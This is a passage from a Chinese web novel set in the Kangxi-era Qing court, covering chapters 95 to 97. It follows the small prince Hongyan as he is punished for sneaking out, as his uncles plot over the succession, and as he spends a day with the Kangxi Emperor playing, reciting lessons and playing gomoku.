胤禛眸子微眯,摩挲着拇指上的玉扳指:“他不罢休也得罢休。” 他早就安排下去了,不出半个时辰,京城的街头巷尾就会传遍雍亲王胤禛带四子携厚礼亲登八贝勒府赔罪。 若是胤禩还不依不饶的抓住这件小事不放,怎能对得起他坊间八贤王的美誉呢。 胤禛掩下思绪,对着四个儿子说道:“我方才在你们八叔府上说的话可还记得?你们是手足兄弟,无论发生何事,都要团结友爱,可明白?” 他这一生兄弟虽多,亲近之人也就只有一个老十三。 他不希望他的孩子们将来为了权势地位变得面目全非、水火不容。 弘晏等人连连点头。 回到雍亲王府以后,胤禛叫弘时与弘历回了学堂温习功课,留了弘昼与弘晏在书房。 解决了外面的事儿,如今便该轮到弘昼与弘晏了。 弘晏知道胤禛要开始处罚自己了,就静 静地看着胤禛。 胤禛饮了口茶,将茶盏放回去后,抬眸看向弘昼:“弘昼,撒谎逃课,一错也;带着幼弟钻狗洞溜出家门,二错也;与弘旺发生争执打闹乃事出有因暂且不论,知晓保护幼弟也是好的,阿玛便只罚你写一月大字,每日一百字,当日的字次日辰时交到我的书房,少一字,打一个手板。” 弘昼哭丧着脸:“又是写字,一百个也太多了。” 胤禛黑着脸:“嫌多,那就一日两百个。” 弘昼连忙改口:“不多,不多了。” 处罚完弘昼,胤禛看向弘晏:“福宝,你也是,与弘旺之事暂且不论,撒谎骗你额娘,一错也;钻狗洞溜出家门,二错也;偷吃冰糖葫芦,三错也,阿玛便罚你一月不许吃萝卜。” 便宜阿玛好狠的心,兔子怎么能不吃萝卜呢!!! 弘晏撇了撇嘴:“窝可以写字,不能没有萝卜。” 弘昼连忙接过话茬:“我可以吃萝卜,能不能不写字?” 他可以和福宝交换惩罚的。 胤禛阴沉着脸斥道:“不罚到你们的痛处,如何长教训,钻狗洞溜出家门若是遇上了歹人,叫阿玛去何处寻你们?!” 第95章 第95章父子斗嘴 弘晏听罢,知晓胤禛生气的点在于他们偷跑出雍亲王府,脱离了他的保护范围,从而担心他们的人身安全后,便乖乖的闭上小嘴巴不再吭声了。 弘昼见胤禛动了怒,也不再出言顶撞了。 之前弘时挨打的事儿,他还历历在目呢。 胤禛见弘晏与弘昼都不言语了,便挥了挥手,示意两个孩子回去。 弘晏和弘昼两个难兄难弟刚走出了书房,一抬头,便瞧见耿格格在石阶下站着。 弘昼有些意外,随即一溜烟的跑到耿格格面前扬起小脸儿喊道:“额娘,你怎么来了。” 耿格格一脸关切的问道:“弘昼,可挨打了?” 她听说胤禛带着四个孩子从八贝勒府回来之后,便赶过来了,如今见着弘昼哭丧着脸出来,八成是挨打了吧。 弘昼闻言,摇了摇小脑袋:“没有,阿玛罚我写一个月大字。” 耿格格听完,松了口气,随即蹲下身子,抬起双手扶上弘昼的小胳膊,抬眼看着弘昼,开始苦口婆心的劝起来:“弘昼,日后遇上事万不可莽撞了,也别再想着溜出去玩了。” 弘昼只嘟囔道:“阿玛已经叫人把狗洞填了,我还往哪溜啊。” 耿格格解释道:“额娘是说你以后不许再逃课了,若是再闯祸惹你阿玛生气,额娘可是护不住你的。” 她的话在胤禛面前哪里是有分量的。 弘昼不想耿格格再担心他了,便乖巧的点了点小脑袋。 本来想着和福宝两个人开开心心的溜出去玩个痛快,谁知道遇上了弘旺这个讨厌鬼! 耿格格见弘昼总算是听进去了,便站起身拉过弘昼的手:“好了,额娘送你回去。” 而弘晏站在廊下目视着耿格格拉着弘昼的手走远之后,便要抬步回正院去。 一旁的苏培盛则吩咐小喜子护送弘晏回去,却被弘晏摆手拒绝了。 是以,弘晏就一个人孤零零的回了正院。 这厢,银烛欢喜道:“阿哥回来了!” 弘晏直接忽视银烛的话,走到檀木小榻旁,踩着脚踏撅着小屁股坐在了乌拉那拉氏身旁。 乌拉那拉氏见弘晏一脸的不高兴,低头问:“这是怎么了?” 弘晏撅着嘴:“耿姨凉怕五锅锅挨打,在阿玛书房外等着呢,额凉却不担心窝。” 乌拉那拉氏见弘晏原来是吃醋了,笑道:“也不知是谁说认得书房的路,不用人跟着。” 弘晏一愣。 好吧,是他诓骗乌拉那拉氏在前的。 弘晏伸出手拉了拉乌拉那拉氏的袖口,开口道:“额凉,窝错了。” 乌拉那拉氏听罢,直接将弘晏抱进了怀里,哄道:“弘昼顽皮,你耿姨娘自然担心他挨打,可你不同,你阿玛疼你还来不及哪里会打你。” 话虽如此,可弘晏心里还是有些失落。 随即,乌拉那拉氏捧起弘晏的小脸:“张嘴,叫额娘看看你的牙齿。” 弘晏配合的张开了嘴巴。 还好,一个蛀牙都没有。 弘晏越想越难受,还是说了出来:“额凉,泥不去书房接窝,窝一个人回来的。” 乌拉那拉氏一愣:“一个人回来的?你阿玛没叫人送你吗?” 弘晏忽闪着眼睛,委屈巴巴道:“窝只要额凉,不要旁人。” 乌拉那拉氏这便明白了,是弘晏瞧见了耿格格接弘昼,自己没去,就使小性子不叫人送了。 乌拉那拉氏亲亲弘晏的小脸:“好,以后福宝去哪,额娘都跟着陪着好不好?” 只怕到时候她寸步不离,弘晏又要嫌她了。 弘晏听罢乌拉那拉氏的话,这才露出笑模样,随即往乌拉那拉怀里蹭了蹭:“阿玛没打窝,可他叫窝一个月不能吃萝卜。” 一提起这个,弘晏就伤心。 乌拉那拉氏摸了摸弘晏的小脑袋:“既然是你阿玛的决定,额娘也没法子呀,你钻狗洞跑出去,阿玛和额娘可都担心坏了。” 弘晏受了处罚,弘昼也跑不了,经此一遭,不叫两个小娃娃长长教训怎么成呢。 弘晏听罢,也再说不出来什么了,只能安慰自己,区区一个月,很快就会过去的。 黄昏时分,胤禛从前院书房来了正院用晚膳。 胤禛落坐后,抬眸看着乌拉那拉氏说道:“宫里来人传话,说汗阿玛召福宝明日进宫去。” 乌拉那拉氏一愣:“可是因为今日的事儿?” 胤禛只道:“外面传的沸沸扬扬,汗阿玛应是知道的,不过传话的人只说是汗阿玛想福宝了。” 乌拉那拉氏接着问:“只召了福宝一人吗?” 胤禛明白乌拉那拉氏话里的意思,遂点了点头。 汗阿玛并未召老八家的弘旺。 外面流言的风向已然变了,汗阿玛此时召弘晏进宫,怕也是故意做给外人瞧的,这次老八的盘算怕是要落空了。 这时,弘晏脆生生的开了口:“窝也想皇玛法了。” 胤禛眉头一挑:“福宝,明日进宫,可不许吃冰糖萝卜。” 弘晏一惊,便宜阿玛竟然看透了他的心思,遂忽闪着大眼睛说道:“窝不主动要,皇玛法知道窝喜欢萝卜,会给窝吃的。” 皇上赐的怎么能不要呢? 小家伙这是跟他耍心眼儿,胤禛笑道:“那也不许吃,你若吃了,就再加一个月,两个月不许吃萝卜。” 弘晏气鼓鼓哼道:“不吃就不吃。” 谁让他以后还要在便宜阿玛手底下讨生活呢。 —— 与此同时,八贝勒府书房内。 胤禩与胤俄坐在八仙桌旁,胤禟来回踱步而后在二人之间停了步子:“老四可够损的,外头的面子是做的齐全,内里却带着四个儿子用糖画来羞辱八哥跟弘旺。” 胤俄抬头看向胤禟:“九哥,如今这外面的传言都是捧四哥的,依我看这件事儿是没有回旋的余地了。” 胤禩将手中的茶盏放下,只问道:“十四弟呢?” 胤禟闻此言看向胤俄:“对呀,老十,不是叫你通知十四弟来八哥府上,怎么还不见人影?” 胤禩不提,他都忘了这回事儿了,是以胤俄如实回答道:“十四弟说他病了,怕过了病气给咱们,今日就不来了。” 胤禟却是不信:“十四弟比牛犊子还壮,说生病就生病了。” 胤禩善解人意道:“九弟,人食五谷杂粮,哪有不生病的。” 胤禟掀起衣袍一角,落坐在胤禩与胤俄中间,随即又看向胤禩说道:“八哥,这明摆着十四弟是不想掺和进来了。” 胤俄喝了口茶,而后开了口:“十四弟这么做也是情有可原,毕竟四哥才是他一母同胞的兄弟。” 胤禟听了胤俄的话,嗤道:“切,老四心里只拿老十三当兄弟,八哥对十四弟才是没的说。” 胤俄对此却有不同意见,遂抬手拍了一下胤 禟的肩膀:“九哥,照你这么说,我来问你,若今日是弘旺与五哥的儿子发生了争执打闹,你帮哪个?” 五阿哥胤祺与九阿哥胤禟都是宜妃郭络罗氏所出,只是胤祺自小是交由仁宪太后抚养的,而胤禟是宜妃亲手带大的。 胤禟下意识的答道:“这还用问,我当然是帮……” 话说一半,胤禟的脑子反应了过来,一时间犹豫了起来,便不再说下去了。 他与胤祺年岁相差大些,又不在一处长大,虽然是一母同胞的亲兄弟,但关系却不如他与胤禩亲密,但胤祺总归是他的亲哥哥。 胤俄追问道:“瞧瞧,九哥,问到你自己身上,你也说不出个所以然来。” 胤禟说不过胤俄,索性将话题轻轻揭过去:“不管怎么说,这件事不能就这么算了,上回老四坑了我十万两白银,新仇旧恨我得一起算。” 胤俄却笑了:“九哥,要不是你挑唆你们家弘晸忽悠弘时看禁书,四哥能报复你吗?” 胤禟眉头皱起:“嘿,老十,你到底是哪头的?” 胤俄傻笑道:“我当然是八哥九哥这头的,不过,我还真是好奇,那种禁书弘晸可曾看过?” 胤禟饮了一口茶润喉,随即哼道:“弘晸才多大,他敢看,我打断他的腿。” 胤禩听着胤禟与胤俄在他耳边像两只鸟一样叽叽喳喳说了这么久,却也没有讨论出个所以然来,正准备开口时,小太监却进门打千儿禀报:“爷、九爷、十爷,刚得的消息,皇上召四爷府上的弘晏阿哥明日入宫。” 胤禟诧异的拧眉拍桌:“什么?” 相比胤禟,胤禩面上平静的多但眼眸中还是泛起了波澜:“可有打听到是为何?” “回爷的话,去雍亲王府传话的人只道皇上是想弘晏阿哥了。” 小太监的话音落下,胤禩面上不显,心里却咯噔一下。 “八哥,汗阿玛早不召见晚不召见,偏偏在老四领着人登门以后召见,这分明是……”胤禟气急败坏,没再说下去。 胤俄接过了胤禟没说完的话:“分明是做给外面的人看的,也是给咱们瞧的。” 康熙的做法在胤禩的意料之外,片刻后,胤禩缓缓开了口:“这件事就此作罢,来日方长,咱们总还有机会。” 少顷,胤禟与胤俄一起出了八贝勒府。 胤禟要翻身上马时,胤俄拉着胤禟走到了没人的拐角处:“九哥,平心而论,这件事弘旺有很大责任,若不是弘旺抢了福宝兄弟俩的糖画,也不会有后面的事儿。” 胤禟不以为然:“老十,你神神秘秘的就是说这些?区区一个糖画,弘旺抢了便抢了,那兄弟俩就为了个不值钱的糖画就张口咬人才是欺人太甚。” 胤俄顿了顿,又道:“九哥,你如今也瞧见了,四哥得汗阿玛圣心,福宝也得汗阿玛的欢心,我们还要奋不顾身的帮着八哥一起图谋大业吗?” 胤禟听罢,多情的桃花眼眯起:“老十,你这是怕了?” 胤俄一本正经道:“九哥,我不是怕,你与我都没有上位的野心,无论将来谁坐上了那个位子,你我兄弟不都是尊贵的王爷吗?” 既如此,又何必要压上身家性命去谋一件本就希望渺茫的事。 胤禟少见胤俄这么正经,便也肃容道:“不一样,老十,八哥对我们可是真心实意的,他既有此志向,你我兄弟便该助他一臂之力。” 胤俄十分冷静的陈述自己的观点:“九哥,你也说了,现在的八哥需要我们的助力,他对我们是真心诚意,可若真等他坐上了那个位子,还会待你我二人如初吗?” 这回,胤禟倒是沉默了。 他并没有想那么长远。 胤俄抬手拍了拍胤禟的肩膀:“九哥,你静下来好好想想吧。” 话音落下,胤俄大步走回去,而后翻身上马,挥舞起马鞭策马离去。 第96章 第96章老当益壮 清晨,弘晏站在拔步床上伸展双臂,乌拉那拉氏拿了袍子要给弘晏穿上。 袖子穿好,待乌拉那拉氏系盘扣时,弘晏抬起小手揉了揉眼睛。 这时,银烛进来禀报:“福晋,早膳备好了。” 乌拉那拉氏点了点头,旋即对着弘晏说道:“福宝,你阿玛在外间等着你用早膳呢。” 弘晏一愣:“阿玛没走吗?” 乌拉那拉氏正欲说话时,胤禛已然走了进来,冲着拔步床上的弘晏说道:“你还真想一个人坐马车进宫去?” 弘晏忽闪着眼睛:“阿玛送窝去当然好了。” 胤禛翘了翘嘴角,转而迈步出去了。 当弘晏被乌拉那拉氏放在座椅上时,胤禛瞧见了弘晏身上挂着的麒麟玉佩,疑惑道:“怎么不带小兔玉佩了?” 弘晏明明最喜欢他送的那块小兔玉佩。 弘晏咬了一口蒸饺,含糊不清的说道:“窝怕弄丢了。” 胤禛却是不信,看着麒麟玉佩挑眉问道:“身上这块就不怕弄丢了?” 这块麒麟玉佩也是极好的东西。 便宜阿玛就是不好糊弄,弘晏闪烁着眼睛,撅着嘴嘟囔道:“窝想戴哪个就戴哪个。” 他连决定戴哪个玉佩的权利都没有了吗?! 话说完,弘晏又大口咬了手里的蒸饺。 胤禛明白了,小家伙这是记恨自己罚他就算是进宫也不许吃萝卜呢。 “额凉,介个蒸饺好吃,窝想给皇玛法带去。”弘晏说着,又拿起了一个蒸饺。 早膳的这道蒸饺是玉米猪肉馅的,里面还放了虾仁,吃到嘴里又香又嫩。 乌拉那拉氏笑着看向弘晏:“御膳房什么没有,你带着蒸饺去,等到了乾清宫可都凉透了。” 弘晏低头看了看手里馅料满满的蒸饺,有些惋惜:“许久不见皇玛法了,窝想给皇玛法尝尝呢。” 胤禛闻言,提起筷子夹了一个蒸饺,又看向乌拉那拉氏说道:“用保温食盒装着,到了乾清宫应该还是温热的。” 弘晏闻此言,那黯淡下去的眸子立刻亮起来。 乌拉那拉氏见状,吩咐道:“银烛,快去准备一份儿蒸饺。” 银烛应声去办。 弘晏转而扭脸看向胤禛,笑吟吟的讨好道:“还是阿玛有办法。” 小家伙变脸比翻书还快,胤禛视线下移,又落在弘晏身上的那块麒麟玉佩:“那你这玉佩?” 弘晏秒懂,答道:“吃完饭,窝就换上小兔玉佩。” 胤禛饶有兴趣的挑眉问:“又不怕佩戴着进宫会弄丢了?” 弘晏理直气壮的歪着小脑袋说道:“有皇玛法在,乾清宫怎么会丢东西。” 谁有那么大的胆子,敢在康熙眼皮子底下偷东西。 乌拉那拉氏看着父子俩你一言我一语的斗嘴,无奈笑道:“福宝乖乖吃,红豆羹要凉了。” 话说完,乌拉那拉氏又看向胤禛:“爷也是,趁热吃。” 话落,乌拉那拉氏又往胤禛的碟子里夹了一个蒸饺。 一顿早膳吃完,乌拉那拉氏命流萤进内室将装着小兔玉佩的锦匣拿出来。 这厢,流萤刚捧着锦匣走出来,胤禛便挥了一下手,流萤迈步上前,行至胤禛面前,转而将手中的锦匣打开。 胤禛抬手取下弘晏身上挂着的麒麟玉佩,放进锦匣里,转而拿出小兔玉佩给弘晏系在腰带上,连那小兔玉佩下坠着的穗子都捋平了。 弘晏笑嘿嘿道:“阿玛,咱们出发吧。” 胤禛“嗯”了一声,便抱起了弘晏。 弘晏挥舞着小手和乌拉那拉氏再见,苏培盛则提着保温食盒不紧不慢的跟在后面。 到了乾清宫,胤禛向康熙行礼请安之后便往户部去了。 弘晏忽闪着大眼睛仰着小脸冲坐在御案后的康熙喊道:“皇玛法,窝好想泥。” 康熙一把将弘晏抱起来,眸子里带着慈祥的笑意:“朕也想小福宝。” 多日不见,小福宝又长大了不少。 弘晏忽然想起什么,对着康熙眼睛亮亮的唤道:“皇玛法,窝给泥带了好吃的蒸饺。” “哦?那皇玛法可得尝尝。”康熙说着,已然抱着弘晏起身走到了檀木小榻上坐着。 白瓷碟子里放了八个月牙儿形的蒸饺,康熙拿起筷子夹了一个送进嘴里。 这蒸饺还是温热的。 弘晏一脸期待的看着康熙:“皇玛法,好吃吗?” 康熙点头:“味道不错,福宝是专程带给皇玛法的?” 弘晏点点小脑袋,一本正经道:“对啊,好吃的东西窝要和皇玛法分享。” 康熙心里暖暖的,眉眼中的笑意更甚:“好,那皇玛法多吃两个。” 少顷,弘晏听到了外面传来细碎的脚步声,小脑袋一扭,便看见了二十三阿哥胤祁。 弘晏有些意外:“二十三叔?” “嘿嘿,福宝,窝可想泥了。”胤祁说着,迈着步子朝着弘晏跑过来。 弘晏赶忙从康熙身上下来,小跑着迎上去抱住了胤祁。 忽而,一道奶呼呼的声音响起:“锅锅,等窝。” 弘晏松开胤祁,抬眸看去,原是乳娘抱着一个奶娃娃进来。 这奶娃娃看上去也就一岁多的样子。 弘晏正疑惑时,胤祁拉着弘晏的手热情的介绍道:“福宝,这是窝弟弟。” 弟弟? 那就是二十四阿哥了。 也就是他的二十四叔?! 弘晏看了一眼坐在檀木小榻上的康熙,心里不禁感叹起来,他的皇玛法可真是老当益壮。 这时,康熙的声音响起:“小二十四,到汗阿玛这里来。” 康熙的声音落下,乳娘将二十四阿哥放下来,弘晏便瞧着二十四阿哥迈着颤颤巍巍的小短腿,摇摇晃晃的冲着檀木小榻上的康熙走过去。 待二十四阿哥终于走到了康熙面前,康熙大手一挥便将二十四阿哥抱到了膝上坐着,随即又冲着他和胤祁招手。 弘晏和胤祁手拉手走了过去。 康熙开始正式的为他介绍:“福宝,这是你二十四叔胤祕,朕特意叫他们俩来与你做个玩伴。” 玩伴? 皇玛法可太贴心了。 就他们三个走到大街上,不知道的还以为他是三兄弟中的大哥哥呢,谁能想到是四岁的侄子带着两个加起来不到六岁的叔叔玩呢。 康熙刚说完话,胤祁从荷包里掏出一颗粽子糖:“福宝,给泥吃糖。” 弘晏瞧着胤祁掌心里的粽子糖,舔了下嘴唇,还是摇了摇脑袋:“窝不吃,二十三叔泥吃吧。” 胤祁对于弘晏的话很意外,热情的把手心里的糖往弘晏的方向送了送:“福宝,这粽子糖可甜了。” 他又不是没吃过,能不知道可甜嘛。 弘晏忍了忍,开口说道:“窝额凉不叫窝吃糖,会长蛀牙的。” 这话,弘晏不仅是说给胤祁听的,更是说给自己听的。 抱着胤祕的康熙是一脸的欣慰:“福宝说的不错,小二十三,你也别吃糖了。” “阿玛,额凉说窝可以少吃点的。”胤祁赶忙将手心里的糖握紧,后退一步说道。 而胤祕早就瞧上了胤祁手里的粽子糖,此时已然伸出了小胳膊:“糖糖,吃糖糖。” 康熙见状,便道:“那好,小二十三,你和小二十四一人吃一颗,便不许吃了。” 胤祁爽快答应,拿出一颗塞进了嘴里,而后又喂给了胤祕一颗,最后看向了弘晏:“福宝,泥真的不吃吗?泥额凉现在又不在?” 胤祁嘴里含着粽子糖,此时张嘴说话弘晏已然能闻见粽子糖的甜味了。 为什么要这样诱惑他?! 弘晏坚定的摇了摇小脑袋:“窝不吃。” 谁让便宜阿玛已经预判了今天的场面,还拿一个月的萝卜威胁他。 弘晏的内心在嘶吼:宝宝心里苦啊!!! 而康熙对这一切浑然不知,只觉得福宝这孩子被老四夫妇养的很好,小小年纪便有君子风范。 待胤祁吃完了粽子糖,弘晏提议来比赛飞竹蜻蜓,看谁飞的高。 胤祁一口答应。 屋子里陈设太多,弘晏吸取上回在正院的屋子里飞竹蜻蜓结果掉进了花瓶里的教训,便提议出去玩,外面的地方更大。 康熙自然应允,乾清宫外面的空地有树荫遮凉,还有当差的御前侍卫保护着。 待梁九功叫人取来了两个竹蜻蜓,弘晏和胤祁一人拿了一个便手拉手出去了。 胤祕眼巴巴望着,手脚也不安分起来,瘪着小嘴喊道:“锅锅,两个锅锅跑。” 康熙笑了:“什么两个哥哥,那是你侄子。” 胤祕扑闪着羽睫,倔强喊道:“锅锅,锅锅跑了。” 孩子太小,康熙也不再执着纠正了,既然胤祕想出去,康熙便叫乳娘抱着胤祕出去,晒晒太阳也是好的。 这厢,乳娘刚抱着胤祕走出了乾清宫的门槛,胤祕就拍着小手,冲着弘晏与胤祁喊道:“锅锅,锅锅。” 弘晏以为胤祕是在喊胤祁,胤祁当然也这么认为,于是朝着胤祕挥了挥手里的竹蜻蜓:“弟弟,看锅锅的蜻蜓飞高高。” 胤祁说完,立马投入到了比赛的状态。 很遗憾,弘晏的竹蜻蜓飞的更高,赢得了比赛。 胤祕拍着小手冲着弘晏喊道:“锅锅,飞高高。” 胤祁笑道:“弟弟,泥瞧错了,是福宝的飞的高。” 他的竹蜻蜓先落了地。 胤祕的小手指指向弘晏:“锅锅,高高。” 弘晏/胤祁:??? 这时,乳娘出声解释:“弘晏阿哥,二十四阿哥还小,不认得人呢。” 弘晏明白了。 胤祕在乳娘怀里又看了一会儿弘晏与胤祁比赛飞竹蜻蜓后,便不安分了,扑腾着要下来,乳娘只好将胤祕放在了地上。 胤祕朝着弘晏与胤祁的方向,颤颤巍巍的走出了几步远,就见一个竹蜻蜓从天上掉下来,“啪嗒”一声刚好落在了胤祕的脚尖前。 胤祕低着小脑袋,撅着小屁股蹲下去捡起来了竹蜻蜓。 弘晏小跑过来说道:“二十四叔,竹蜻蜓给窝吧。” 这是他的竹蜻蜓从空中飞下来的。 胤祕举起竹蜻蜓时,弘晏正要伸手去接,可下一瞬,胤祕却将竹蜻蜓含在嘴里。 弘晏:!!! “哎呦,二十四阿哥,这可不能吃啊。”乳娘边说,边要去夺胤祕嘴里的竹蜻蜓。 胤祕见状,将竹蜻蜓从嘴里拿出来又紧紧护在怀里,那竹蜻蜓上沾了口水,如今又糊在了衣服上。 “二十四阿哥乖,给奴婢吧。”乳娘给胤祕擦了擦嘴巴,生怕胤祕再将竹蜻蜓含在嘴里。 这竹蜻蜓掉在地上,可沾上灰尘了。 弘晏灵机一动,先将胤祁手里的竹蜻蜓借过来:“二十四叔,窝教泥怎么玩。” 胤祕看着弘晏用手搓着竹蜻蜓,搓着搓着竹蜻蜓就飞起来了,果然来了兴趣,便开始学弘晏的动作,只是胤祕太小,手掌绵软使不上力,竹蜻蜓飞不起来,胤祕就失去了兴趣,主动将竹蜻蜓还给弘晏了。 玩了这么会儿功夫,胤祕体力告急,已然没了精神。 乳娘便将胤祕抱起来哄睡,请示过康熙以后,乳娘便带着胤祕回去了。 弘晏和胤祁玩腻了竹蜻蜓,两个小娃娃请示过康熙以后,又跑到御花园去踢竹球玩。 “这便是弘晏阿哥吧。” 弘晏听到有人叫自己名字,一扭头便见一个穿着紫色旗装的女人手里正摇着一把团扇。 “你不认得我,我是你宜玛嬷。” 宜玛嬷? 宜妃? 老九胤禟的额娘! 弘晏恭恭敬敬的作揖道:“宜玛嬷好。” 捡球回来的胤祁看到宜妃后,忙拱手道:“见过宜妃母。” 宜妃点点头:“你们好好玩吧,我呀赏花去。” 话音落下,宜妃便抬起步子悠闲往御花园的另个方向去了。 她跟德妃可不一样,大人之间的恩怨是大人的,跟底下幼小的孩子可没有一点儿关系。 第97章 第97章祖孙对弈 弘晏站在原地,盯着宜妃远去的背影若有所思。 宜妃这模样瞧着应是碰巧遇上他的,而不是专程奔着他过来的。 想来也是,宜妃能位列康熙后宫的四妃之一,自然也不是傻的,就算他的便宜阿玛与胤禟有过节,宜妃也不会对自己一个小娃娃发难,况且他身边还跟着御前的小太监呢。 胤祁见弘晏愣着不动,歪着脑袋抬起小手在弘晏眼前挥了挥:“福宝,泥想什么呢?” 弘晏思绪回笼,冲着一脸茫然的胤祁笑道:“嘿嘿,二十三叔,咱们继续玩吧。” 胤祁点头:“好。” 另一边,扶着宜妃走远的心腹丫鬟寻梅开了口:“娘娘,弘晏阿哥才进宫几次,竟与二十三阿哥也打成一片了。” 宜妃边摇着手里的团扇, 边徐徐道:“都是同岁的小娃娃,玩起来自然就熟悉了,不过弘晏这孩子长的白白胖胖的,瞧着确实怪讨人喜欢的。” “娘娘,四爷父子这般得圣心,若是有朝一日……咱们九爷怕是不妙啊。”寻梅中间省略的话,是万万不敢宣之于口的。 宜妃眼尾一挑,感叹道:“儿大不由娘,老九嘴上应承着本宫,可私下里还是为老八奔走效力,出谋划策对付老四,老四的谋算都藏在心里,这一出手,就让老九在御前栽了大跟头,老四手段虽狠,可有一条,不招惹到他头上便不会有事,你瞧瞧老五老七,哪个也不站,小日子过得那叫一个安逸滋润。” 胤禟从来没有觊觎过那个位子,她也知道老九没那个本事,如今忙忙碌碌的谋划,还不是给老八做了嫁衣,可若是不成事,怕是会落得和胤褆胤礽一样的下场。 寻梅出声道:“娘娘,五爷也没少劝九爷,咱们九爷就是太重情义了。” 宜妃看向寻梅,嘱咐道:“本宫与老五的话,老九怕是听得耳朵都要起茧子了,你差人告诉老九福晋,叫她平日里多吹吹枕头风,女人在床上的柔情蜜语比什么都管用,若是老九不领情给她脸子瞧,自有本宫给她做主。” 寻梅颔首:“是,奴婢记下了。” 既然是出来散赏花,宜妃便不再想糟心事了,抬手摘了一朵盛开的粉蔷薇,低头嗅了嗅花香。 这边,弘晏与胤祁踢竹球出了不少汗,再加上太阳升得老高,越发晒了,御前的小太监便抱着弘晏与胤祁回乾清宫了。 康熙吩咐奴才们给两个阿哥喂水、擦洗,又叫梁九功去御膳房传膳。 弘晏与胤祁玩了这么久,想必肚子饿了,更何况也快到用午膳的时候了。 一刻钟左右的功夫,小太监们鱼贯而入,御膳摆了满满这一桌子,弘晏与胤祁早已饥肠辘辘了,拿着筷子吃的很香,有这么两个努力干饭的小娃娃在身边,康熙的食欲也跟好起来。 吃完了午膳,康熙叫人端上了果盘,自己则端起茶盏呷了口茶。 康熙忽而想起什么,将手中的茶盏放下,看向弘晏问道:“福宝,你可启蒙了?” 弘晏嘴里咀嚼着葡萄,点了点小脑袋。 康熙接着问:“都学什么了?” 弘晏吃完葡萄,歪着小脑袋说道:“《三字经》和《百家姓》窝都背完了,《千字文》背了一半。” 胤祁面露崇拜:“福宝,泥好腻害。” 《百家姓》他才刚开始背呢。 康熙笑得慈祥:“福宝,那皇玛法考考你如何?” 弘晏答应的干脆:“好啊。” 早在康熙问他启蒙了没有时,他就知道会被抽查功课了。 尽管放马过来吧。 康熙提出的问题都来自《百家姓》和《千字文》,康熙每抛出一个问题,弘晏不过思考了两三秒的时间就回答了上来。 康熙眸中满是欣慰。 而坐在弘晏身边的胤祁,已然昏昏欲睡了。 夏日里本就容易使人困倦,吃饱饭的胤祁再听着弘晏朗朗的背书声,那瞌睡虫立马就跑出来了。 康熙见状,便吩咐人把胤祁抱回后宫去。 乾清宫只剩下祖孙二人,弘晏又不觉得困倦,便提议道:“皇玛法,窝们来下棋吧。” 康熙很是意外:“你会下棋?” “嘿嘿,窝和阿玛下五子棋。”弘晏说完,便给康熙大概讲了讲他和胤禛下棋的故事。 康熙哈哈大笑:“原来是这么个下棋法啊,好,皇玛法就陪你下一局。” 康熙叫梁九功端来棋盘,依着弘晏的习惯,将放着黑子的棋盅给了弘晏。 康熙的出发点是陪着弘晏玩,也当做消遣,并不认真的投入进去,可瞧着棋盘上那弘晏的黑子,将自己的白子围追堵截时,康熙才正视了弘晏这个对手。 而弘晏笑嘿嘿的看着康熙道:“皇玛法,窝腻害吧。” 他在府里和便宜阿玛也不是白下那几局棋的。 康熙笑了,边从棋盅里拿出白子便对着弘晏说道:“等你赢了再说这话也不迟。” 康熙开始认真了。 祖孙二人互不相让,这场棋局持续了很久,只是康熙一贯的思维都是围棋下法,是以棋盘的角落便成了康熙视野的盲区,而弘晏瞧见康熙走了一步无用棋,便赶忙将自己的黑子落下,而后举手欢呼道:“皇玛法,窝赢了!” 康熙从棋盅拿白子的手一顿,视线在棋盘上扫了一遍,这才发觉弘晏的五颗黑子从棋盘的顶角出发,已然斜着连成了一条黑线。 他方才竟然没有瞧见。 康熙将手中刚捏起的白子丢回了棋盅里,笑眯眯道:“福宝厉害,皇玛法输了。” 弘晏正高兴着,便打了一个大大的哈欠。 在御花园玩了那么久,方才全神贯注的下棋,精神一直紧绷着,如今赢了放松下来,那瞌睡虫就跟着溜出来了。 康熙见状,问道:“福宝,可是困了?” 弘晏点了点小脑袋。 这半天的功夫,他可是既费了体力又费了脑力,需要好好休息一下了。 康熙笑道:“那就在皇玛法这儿睡会儿吧。” 到底只是一个四岁多的小娃娃。 弘晏歪着小脑袋问道:“皇玛法不休息吗?” 康熙看着弘晏,如实答道:“皇玛法还要批奏折呢。” 弘晏听罢,出声劝道:“可皇玛法都看一上午了,也该歇歇眼睛了,睡上一觉再看也来得及啊。” 一旁的梁九功跟着出声劝:“是啊,皇上,您睡会儿吧,等到了时辰,奴才叫醒您,定不会延误政事的。” 他伺候皇上多年,皇上一向勤勉,夏日里这般燥热,皇上白天夜里喝茶醒神,有时连膳食都不愿用,今日有弘晏阿哥在,皇上说不定会改变主意呢。 弘晏听了梁九功的话,便下了小榻,转而来到康熙面前,拉着康熙的马蹄袖晃悠道:“皇玛法,歇会儿吧,陪窝一起睡。” 康熙瞧着向他撒娇的弘晏,忍不住笑了,松口道:“好,皇玛法带着你睡会儿。” 话音落下,康熙便抱起弘晏进了寝殿。 少顷,康熙将弘晏放在了拔步床上,便抬手脱去了弘晏的鞋袜,转而又给弘晏脱掉了外面的袍子,弘晏撅着小屁股滚到了里侧躺着。 这拔步床上一股龙涎香的味道,倒是怪好闻的。 康熙上了拔步床,便给弘晏盖好了被子,待康熙整个人平躺下去以后,弘晏又滚到康熙怀里去,小脑袋枕在康熙的胸膛上:“嘿嘿,皇玛法。” 康熙笑了,用手轻轻拍打着弘晏。 没一会儿的功夫,弘晏发出了均匀绵长的呼吸声。 康熙见状, 便也阖上眼眸睡去了。 一个时辰后,弘晏在拔步床上醒来,却见身旁空荡荡的,随即揉着眼睛坐了起来。 守在一旁是御前小太监见弘晏醒了,便将帐幔拉开,伺候弘晏穿衣梳洗。 弘晏迈着步子出了寝殿,一抬头便瞧见康熙正坐在御案上批阅奏折。 弘晏冲着康熙喊道:“皇玛法。” 康熙闻言,抬眸笑道:“福宝醒了,饿不饿?” 弘晏摇了摇小脑袋,迈着步子走过去,问道:“皇玛法什么时候醒的,窝都不知道。” 康熙将手里的狼毫笔放置在笔山上,而后弯腰将弘晏抱坐到腿上:“半个时辰前。” 那也就是说,康熙只睡了半个时辰。 弘晏忽闪着眼睛,问道:“皇玛法怎么不多睡会儿?” 康熙捏捏弘晏的小脸颊:“皇玛法已然睡醒了,再睡晚上便该睡不着了,福宝还小,多睡觉才能长高高。” 弘晏忽而又想到什么,笑道:“嘿嘿,皇玛法,窝想出去玩。” 康熙问道:“想去哪里玩?” 弘晏如实说道:“窝想去延禧宫看看惠玛嬷。” 康熙知道之前弘晏进宫的时候,在御花园遇见了惠妃和她养的小京巴。 